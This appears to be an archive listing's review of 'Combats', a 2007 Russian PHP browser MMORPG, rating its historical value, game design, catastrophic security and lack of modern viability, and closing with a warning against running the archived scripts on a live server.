Completion Level: ~95% (fully functional, minor content gaps, abandoned before marketing)

Code Quality: 4/10 (ambitious design, catastrophic security, deprecated APIs)

Innovation: 6/10 (time-lock systems, 19-slot equipment, 5-layer armor, 101 levels, 16 professions)

Security: CATASTROPHIC (plaintext passwords, SQL injection, XSS, no CSRF, hard-coded admin credentials)

Modern Viability: 2/5 (non-functional PHP 7+, requires $31,500 modernization with negative ROI)

Historical Significance: High (peak 2007 Russian browser MMORPG, frame-based UI, pre-PHP 7 era, Sasen+Shkic collaboration)

Best Use Case Today: Museum piece for gaming history, security training ("how not to build"), database design study, Russian game development research. Should NEVER be deployed.

Unique Characteristics:

  • Time-lock management: 8 concurrent time-lock systems preventing action conflicts (prison, hospital, academy, work, repair, dungeon, energy, vault)
  • 19-slot equipment: More granular than typical browser RPGs
  • 5-layer armor: br1-br5 system (physical/magical/elemental split)
  • 101-level progression: Extreme depth (11 ranks, 60,000,000 XP ceiling)
  • 16 profession ranks: Unusually deep profession system
  • Race-specific equipment: 4x content multiplication (Elf/Orc/Gnome/Human variants)
  • Dungeon maze: Text-based navigation with atmospheric Russian descriptions
  • Ability usage tracking: iznos (wear) counters for abilities, not just equipment
  • Frame-based real-time: 5-frame layout with 15-second chat refresh (pre-AJAX sophistication)
  • Russian localization: Complete cp1251/windows-1251 encoding, cultural references

Bottom Line: Combats represents the pinnacle of 2007 Russian browser MMORPG development - a feature-complete, ambitious game with 1,155 files, 36 database tables, and extensive content. Created by Sasen and enhanced by Shkic, it demonstrates collaborative open development. The game shows evidence of internal testing (179 chat messages, 778+ shop sales, 1 fully-equipped character) but likely never achieved public release or remained in small Russian community.

Technical execution: Impressive scope and complexity for its era, with sophisticated time-lock management, granular combat systems, and deep character progression. However, security is catastrophic - plaintext passwords, SQL injection everywhere, no CSRF/XSS protection, deprecated mysql_* API. The frame-based UI is obsolete (removed HTML5), and character encoding (cp1251) causes compatibility issues.

Modern viability: Zero. Non-functional on PHP 7+ (released 2015). Modernization costs $31,500 for 420 hours of work, resulting in outdated game with limited market appeal (Russian-only, 2007 mechanics). Better to invest $50,000 in new modern MMORPG with global market potential.

Historical value: Extremely high as artifact of:

  • 2007 Russian browser MMORPG golden age
  • Frame-based real-time UI architecture (pre-AJAX/WebSocket)
  • Pre-PHP 7 mysql_* API era
  • Collaborative open-source game development (Sasen → Shkic)
  • Deep progression philosophy (101 levels, 16 professions, 60M XP)
  • Russian gaming culture (atmospheric text descriptions, complex stats, high difficulty)

Recommendation: Preserve in gaming museum, use for education (database design, security lessons), and historical research. Do NOT deploy under any circumstances. Modernization is financially irresponsible - build new game instead if commercial intent exists.

Comprehensive Rating Matrix

Category Rating Score Notes
Historical Value 10/10 Peak 2007 Russian MMORPG artifact, frame-based UI, pre-PHP 7 era
Game Design Innovation 9/10 8 time-locks, 19 equipment slots, 101 levels, 5-layer armor, 16 professions
Feature Completeness 10/10 1,155 files, 36 tables, complete systems (combat, economy, clans, dungeons)
Content Depth 8/10 200+ items, 101 levels, extensive profession system, some gaps in content
Security 0/10 CATASTROPHIC: Plaintext passwords, SQL injection, XSS, CSRF, hard-coded credentials
Code Quality 4/10 Deprecated mysql_* API, no input validation, poor separation of concerns
Modern Viability 2/10 Non-functional PHP 7+, requires $31,500 modernization, obsolete UI/encoding
Database Design 8/10 Well-structured 36-table schema, clear relationships, good normalization
Educational Value 10/10 Perfect for security training, database studies, gaming history, what-not-to-do examples
Preservation Priority 10/10 Irreplaceable artifact of Russian game dev history, must be archived
Overall Grade

C+ (Historical A+)

Museum piece - invaluable for history, unusable for production

Security Warning

Running many of the scripts in this archive on a live server presents a serious security risk. These projects were created before modern hardening practices and may contain vulnerabilities that can compromise your system.

We strongly recommend using this code for reference and analysis only, or in isolated local environments. By downloading these files, you accept full responsibility for their use.